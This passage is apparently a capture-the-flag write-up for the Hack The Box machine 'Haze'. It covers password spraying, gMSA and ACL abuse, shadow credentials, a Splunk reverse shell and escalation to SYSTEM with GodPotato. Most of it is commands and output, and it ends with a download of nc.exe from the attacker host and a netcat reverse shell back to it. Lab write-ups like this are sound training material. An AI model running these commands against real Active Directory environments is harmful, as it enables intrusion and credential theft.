nxc smb haze.htb -u 'paul.taylor' -p '<password>' --rid-brute | awk '{print $6, $7, $8}' | cut -d "\\" -f 2 | grep SidTypeUser | sed 's/(Sid.*//g' > users.txtPassword Spraying
Launch another password spraying attack.
> nxc smb haze.htb -u users.txt -p '<password>' --no-bruteforce --continue-on-successSMB 10.10.11.61 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)...SMB 10.10.11.61 445 DC01 [+] haze.htb\paul.taylor:<password>SMB 10.10.11.61 445 DC01 [+] haze.htb\mark.adams:<password>...It works for mark.adams as well.
Auth as mark.adams
Enumeration
Now let’s analyze the domain using BloodHound. Collect the data remotely using rusthound-ce or bloodhound-ce-python.
rusthound-ce -d haze.htb -u mark.adams -p '<password>' -c All -o mark_dumpLet BloodHound ingest the data.

paul.taylor doesn’t have interesting groups or ACEs, but mark.adams has some interesting group memberships. He belongs to the Remote Management Users and GMSA_MANAGERS groups. If you check the user’s home directory by spawning a shell using evil-winrm, you will see that there’s no flag yet.
Because of the GMSA_MANAGERS group, let’s check for GMSA passwords.
> nxc ldap haze.htb -u 'mark.adams' -p '<password>' --gmsaLDAP 10.10.11.61 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)LDAPS 10.10.11.61 636 DC01 [+] haze.htb\mark.adams:<password>LDAPS 10.10.11.61 636 DC01 [*] Getting GMSA PasswordsLDAPS 10.10.11.61 636 DC01 Account: Haze-IT-Backup$ NTLM:It succeeded in finding an account that has a GMSA password, but the NTLM hash is empty. It’s strange because BloodHound didn’t show anything related to GMSA either.
So I will try manual enumeration using powerview.py; you can also use pywerview.
GMSA Password
> powerview haze.htb/mark.adams:Ld@p_Auth_Sp1unk@2k24@10.10.11.61 --dc-ip 10.10.11.61PV > Get-DomainObjectAcl -Identity haze-it-backup$ -SecurityIdentifier gmsa_managersObjectDN : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htbObjectSID : S-1-5-21-323145914-28650650-2368316563-1111ACEType : ACCESS_ALLOWED_OBJECT_ACEACEFlags : NoneAccessMask : WritePropertyObjectAceFlags : ACE_OBJECT_TYPE_PRESENTObjectAceType : ms-DS-GroupMSAMembershipInheritanceType : NoneSecurityIdentifier : HAZE\gMSA_Managers
ObjectDN : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htbObjectSID : S-1-5-21-323145914-28650650-2368316563-1111ACEType : ACCESS_ALLOWED_ACEACEFlags : NoneActiveDirectoryRights : ReadControl,ReadProperties,ListChildObjectsAccessMask : ReadControl,ReadProperties,ListChildObjectsInheritanceType : NoneSecurityIdentifier : HAZE\gMSA_ManagersBingo! The GMSA_MANAGERS group has WriteProperty access to the ms-DS-GroupMSAMembership attribute for the Haze-IT-Backup$ account. This property stores the security principals that can access the GMSA password, and we can use the Set-ADServiceAccount PowerShell command to add mark.adams to the list.
Set-ADServiceAccount -Identity haze-it-backup$ -PrincipalsAllowedToRetrieveManagedPassword mark.adamsTry the nxc command again.
> nxc ldap haze.htb -u 'mark.adams' -p '<password>' --gmsaLDAP 10.10.11.61 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)LDAPS 10.10.11.61 636 DC01 [+] haze.htb\mark.adams:<password>LDAPS 10.10.11.61 636 DC01 [*] Getting GMSA PasswordsLDAPS 10.10.11.61 636 DC01 Account: Haze-IT-Backup$ NTLM: <hash>Auth as haze-it-backup$
bloodhound
WriteOwner

We hit a dead end after the SUPPORT_SERVICES group. I will gather data remotely again because it sometimes reveals other attack paths. But now I am using bloodhound-ce-python because rusthound-ce doesn’t support Kerberos authentication yet.
# Synchronize timesudo ntpdate haze.htb
bloodhound-ce-python -d haze.htb -u 'haze-it-backup$' --hashes :<hash> -c All --zip -op haze-it -dc dc01.haze.htb -ns 10.10.11.61Unzip it and load it into BloodHound.

Cool, we can reset the password or add shadow credentials to the edward.martin user, who is a member of the Remote Management Users and BACKUP_REVIEWERS groups. Let’s add haze-it-backup$ to the SUPPORT_SERVICES group by becoming the owner, granting GenericAll rights to itself, and then adding itself as a member of the SUPPORT_SERVICES group.
# Get TGTgetTGT.py 'haze.htb/haze-it-backup$@10.10.11.61' -hashes :<hash>export KRB5CCNAME=$(realpath haze-it-backup\$@10.10.11.61.ccache)
bloodyAD -d haze.htb -k --host dc01.haze.htb set owner support_services 'haze-it-backup$'bloodyAD -d haze.htb -k --host dc01.haze.htb add genericAll support_services 'haze-it-backup$'bloodyAD -d haze.htb -k --host dc01.haze.htb add groupMember support_services 'haze-it-backup$'
# Get new TGTgetTGT.py 'haze.htb/haze-it-backup$@10.10.11.61' -hashes :<hash>Shadow Credentials
I tried to change edward.martin’s password, but it failed because of the policy.
bloodyAD -d haze.htb -k --host dc01.haze.htb set password edward.martin 'P@ssw0rd!'...Password can't be changed before -2 days, 23:55:42.568450 because of the minimum password age policy.Now, I will try the shadow credentials attack. You can do it automatically using certipy or manually using bloodyAD or PyWhisker. I will use bloodyAD here.
> bloodyAD -d haze.htb -k --host dc01.haze.htb add shadowCredentials edward.martin[+] KeyCredential generated with following sha256 of RSA key: 424edb5db0b82a1239760368cdefa57d5f51f8823988713923d5ab9225cdab7dNo outfile path was provided. The certificate(s) will be stored with the filename: bgd9GFM4[+] Saved PEM certificate at path: bgd9GFM4_cert.pem[+] Saved PEM private key at path: bgd9GFM4_priv.pemA TGT can now be obtained with https://github.com/dirkjanm/PKINITtoolsRun the following command to obtain a TGT:python3 PKINITtools/gettgtpkinit.py -cert-pem bgd9GFM4_cert.pem -key-pem bgd9GFM4_priv.pem haze.htb/edward.martin bgd9GFM4.ccache> gettgtpkinit.py -cert-pem bgd9GFM4_cert.pem -key-pem bgd9GFM4_priv.pem haze.htb/edward.martin bgd9GFM4.ccache2025-04-01 06:53:06,399 minikerberos INFO Loading certificate and key from fileINFO:minikerberos:Loading certificate and key from file2025-04-01 06:53:06,415 minikerberos INFO Requesting TGTINFO:minikerberos:Requesting TGT2025-04-01 06:53:06,491 minikerberos INFO AS-REP encryption key (you might need this later):INFO:minikerberos:AS-REP encryption key (you might need this later):2025-04-01 06:53:06,491 minikerberos INFO 472148b54cf64a9a676793ab6f8a679efb492c0e8eba7c0473ee9ca8a2f7d575INFO:minikerberos:472148b54cf64a9a676793ab6f8a679efb492c0e8eba7c0473ee9ca8a2f7d5752025-04-01 06:53:06,495 minikerberos INFO Saved TGT to fileINFO:minikerberos:Saved TGT to file> export KRB5CCNAME=$(realpath bgd9GFM4.ccache)> getnthash.py 'haze.htb/edward.martin' -key 472148b54cf64a9a676793ab6f8a679efb492c0e8eba7c0473ee9ca8a2f7d575Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache[*] Requesting ticket to self with PACRecovered NT Hash<nt_hash>Auth as edward.martin
User Flag
*Evil-WinRM* PS C:\Users\edward.martin\Desktop> cat user.txtdeadbeef3e687064cf1dec475e49fakeEnumeration
This user belongs to the BACKUP_REVIEWERS group, and if you check the root directory, you will see the Backups directory. This folder contains the splunk_backup_2024-08-06.zip file; just download it. After unzipping it, you will get backup files of Splunk. You can find the authentication.conf file at Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf. This file contains the password hash for alexander.green; you can use the previous method for paul.taylor to crack it. The Splunk secret is located at Splunk/etc/auth/splunk.secret.
alexander.green belongs to the Splunk_admins group, so maybe we can log in to the Splunk dashboard. Based on the Splunk passwd file, there’s no alexander.green user, so let’s try with the admin user instead.
And it works. After Googling for a reverse shell in Splunk, I came across the
reverse_shell_splunk
repository, which provides a reverse shell in Splunk. Just follow the instructions
and you will get a reverse shell as alexander.green.
Shell as alexander.green
SeImpersonatePrivilege
This user has the SeImpersonatePrivilege privilege, which basically means game over for the machine.
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION----------------------
Privilege Name Description State============================= ========================================= ========SeMachineAccountPrivilege Add workstations to domain DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeCreateGlobalPrivilege Create global objects EnabledSeIncreaseWorkingSetPrivilege Increase a process working set DisabledPS C:\Windows\system32>I will use GodPotato to abuse the SeImpersonatePrivilege privilege.
cd /programdatamkdir bruhcd bruhwget http://10.10.x.x/nc.exe -o nc.exewget http://10.10.x.x/GodPotatoNet4.exe -o god.exe./god.exe -cmd "/c C:\programdata\bruh\nc.exe -e cmd.exe 10.10.x.x 9002"Shell as nt authority\system
Root Flag
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txttype C:\Users\Administrator\Desktop\root.txtdeadbeef095bf2f78d820a34545cfake

